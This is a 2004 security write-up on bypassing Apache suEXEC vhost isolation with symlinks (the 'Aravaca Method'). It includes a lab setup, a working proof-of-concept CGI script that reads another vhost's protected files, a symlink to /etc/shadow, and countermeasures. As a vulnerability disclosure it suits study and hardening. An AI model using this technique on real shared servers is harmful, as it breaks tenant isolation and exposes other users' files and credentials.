Apache suEXEC Bypass

Written by frame at kernelpanik.org

Introduction

This days is common running multiple virtual hosts[1] over the same physical box. Also, code execution in web servers is a common feature out there. PHP, Perl or any other Apache supported languages, as module or as *Common Gateway Interface* (CGI) is really easy to find around. Unfortunately, that feature comes with some security problems.

One of those problems, the one this text explains, is isolation of different virtual hosts (vhosts) hosted in the same server. By default, Apache run vhosts request with the same userid for all of them, usually nobody. Running requests with this user is fine in servers not allowing code execution, but it's a potential security breach if server allows it. This way, any webserver user can run commands having read permission over all files Apache needs, obviously at less, all the websites there. This problem, until Apache MPM perchild[2] module will be released, it's solved using stuff called cgi-wrappers. What's a cgi-wrapper? In a simplistic way, we can think about it as something which take all cgi requests and change system user (and priviledges) executing commands according to the vhost who made the request. This technique allows isolation of vhosts in the same system. Currently there are a few solution on this way as suEXEC[3], CGIWrap[4] and sbox[5].

This text purpose is showing a way to avoid cgi-wrapper based vhost isolation, and also suggesting some countermeasures for this problem. Cgi-wrapper studied is Apache suEXEC, but this technique could be applied to other solutions to this problem, although proper working has not been checked by author. Perfect understanding of this paper requires previous knowledge of Apache administration.

Building our workplace

In order to help understanding everyone reading this text, we're gonna show how we created and configured our box with suEXEC. Having that running, we'll do the needed steps to bypass Apache suEXEC protection.

---

1 Apache Virtual Host documentation: http://httpd.apache.org/docs/vhost

2 Apache MPM perchild: http://httpd.apache.org/docs-2.0/mod/perchild.html

3 Apache suEXEC Support: http://httpd.apache.org/docs/suexec.html

4 CGIWrap: http://cgiwrap.unixtools.org/

5 sbox: http://stein.cshl.org/software/sbox

First element is the web server itself. We're using Apache provided in Fedora Core 3 plain installation, but could be any other Apache compilated by yourself.

```
$ telnet localhost 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 25 Nov 2004 15:31:09 GMT
Server: Apache/2.0.52 (Fedora)
Connection: close
Content-Type: text/html; charset=UTF-8
```

Next thing to install is suEXEC. For more information about its installation and proper configuration take a look to it's website

```
# cat /var/log/httpd/error_log | grep suEXEC
[notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
```

We also need at least two vhost configured for using two differents users with suEXEC. Also, we have to define a cgi's execution environment.

```
<VirtualHost 127.0.0.1:80>
    ServerAdmin victim@domain
    SuexecUserGroup victim victim
    DocumentRoot /var/www/www.victim.kpk
    ServerName www.victim.kpk
    ErrorLog logs/www.victim.kpk.error.log
    CustomLog logs/www.victim.kpk.log common
    ScriptAlias /cgi-bin /var/www/www.victim.kpk/cgi-bin/
</VirtualHost>

<VirtualHost 127.0.0.1:80>
    ServerAdmin eviluser@domain
    SuexecUserGroup eviluser eviluser
    DocumentRoot /var/www/www.evilhost.kpk/
    ServerName www.evilhost.kpk
    ErrorLog logs/www.evilhost.kpk.error.log
    CustomLog logs/www.evilhost.kpk.log common
    ScriptAlias /cgi-bin /var/www/www.evilhost.kpk/cgi-bin/
</VirtualHost>
```

Next to do is edit /etc/hosts for having both hosts in web server ip. Here ip is *127.0.0.1*

```
$ cat /etc/hosts
127.0.0.1       www.victim.kpk
127.0.0.1       www.evilhost.kpk
```

This list show us directory for our vhosts, showing permissions as 750 for both directories and having each vhost user as owner and apache as group.

```
# ls - /var/www
total 8
drwxr-x---  3 eviluser apache 4096 nov 25 17:00 www.evilhost.kpk
drwxr-x---  3 victim   apache 4096 nov 25 17:00 www.victim.kpk
```

Last thing to do is put a .htaccess in *www.victim.kpk* denying access to all users. We also can create index.html and check we can't access with a browser.

```
# cd /var/www/www.victim.kpk
# su victim
$ cat > index.html
<center><h1>www.victim.kpk</h1></center>
$ cat > .htaccess
deny from all


$ links -dump http://www.victim.kpk

                                !Acceso prohibido!

   Usted no tiene permiso para accesar a la direccion solicitada. Existe la
   posibilidad de que el directorio este protegido contra lectura o que no
   exista la documentacion requerida.


   Por favor contacte con el webmaster en caso de que usted crea que
   existe un error en el servidor.


Error 403

    www.victim.kpk
    Apache/2.0.52 (Fedora)
```

[Translator note: Murcian people speak spanish and their webservers too]

Once we finished setting up our test server, we'll explain attack technique that we named as "Aravaca Method". This name is used with all our affection and respect to all Aravaca inhabitants.

Aravaca Method Exposed: Bypassing Apache suEXEC

There are two features that will allow us defeating Apache suEXEC. First one is the symbolic linking. This method allow us linking files we don't have any priviledges on them. Joining that to by default Apache follows symlinks we got all the stuff we need to bypass protection.

```
$ ln -s /etc/shadow shadow
$ ls -l shadow
lrwxrwxrwx  1 eviluser eviluser 11 nov 25 19:53 shadow -> /etc/shadow
$ cat shadow
cat: shadow: Permiso denegado
```

```
# cat /etc/httpd/conf/httpd.conf | grep <no_tengo_ganas_de_pensar>
<Directory />
    Options FollowSymLinks
(..)
```

Got it? Well.. then let's finish this hack. First we need to create a symlink to our target, and after that, we can request this symlink from our browser. That request won't be passed to suEXEC because symlinks are static content Apache will process. Let's go!

```
$ cd /var/www/www.evilhost.kpk/cgi-bin/
$ cat > aravaca.cgi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo ""

echo "Aravaca Method Exposed: Proof of Concept<br>"
echo "=========================================<br>"
echo "Written by frame at kernelpanik.org<br>"
echo "http://www.kernelpanik.org<br><br>"

echo "<*> Checking suEXEC ID...<br>"
/usr/bin/id

echo "<br><br><*> Creating symlink to victim index.html and .htaccess<br>"
rm -f /var/www/www.evilhost.kpk/victim.index
rm -f /var/www/www.evilhost.kpk/victim.htaccess
ln -s /var/www/www.victim.kpk/index.html /var/www/www.evilhost.kpk/victim.index
ln -s /var/www/www.victim.kpk/.htaccess /var/www/www.evilhost.kpk/victim.htaccess

echo "<*> Accessing to victim.index and victim.htaccess<br><br>"
/usr/bin/links -dump http://www.evilhost.kpk/victim.index
echo "<br><br>"
/usr/bin/links -dump http://www.evilhost.kpk/victim.htaccess
```

Once we have our cgi source in our vhost (aravaca.cgi), we only need to test everything was fine, and we can see index.html of attacked vhost.

```
$ links -dump http://www.evilhost.kpk/cgi-bin/aravaca.cgi
   Aravaca Method Exposed: Proof of Concept
   =========================================
   Written by frame at kernelpanik.org
   http://www.kernelpanik.org

   <*> Checking suEXEC ID...
   uid=501(eviluser) gid=501(eviluser) groups=501(eviluser)

   <*> Creating symlink to victim index.html and .htaccess
   <*> Accessing to victim.index and victim.htaccess

   www.victim.kpk
   deny from all
```

Last words and Countermeasures

As you can see, Apache suEXEC in its default configuration from Apache Software Foundation, and lot of other configuration files from vendors which redistribute it as is (Fedora Core 3 i.e.) is vulnerable to Aravaca Method.

Fastest countermeasure is changing default option FollowSymLinks for more secure option SymLinksIfOwnerMatch, if you need to keep symlinks functionality. In tests we found some packed Apache (Debian i.e.) using SymLinksIfOwnerMatch instead FollowSymLinks.

If directive "AllowOverride Options" is allowed for all users, this measure won't protect anything because the attacker could set its own options using a custom .htaccess file.

Greetings

MaDj0kEr, thanks for translate this paper. All Kernelpanik, thanks for make this project. Hari Seldon, *webero*, thanks for yours answers and ours chats.

Licencia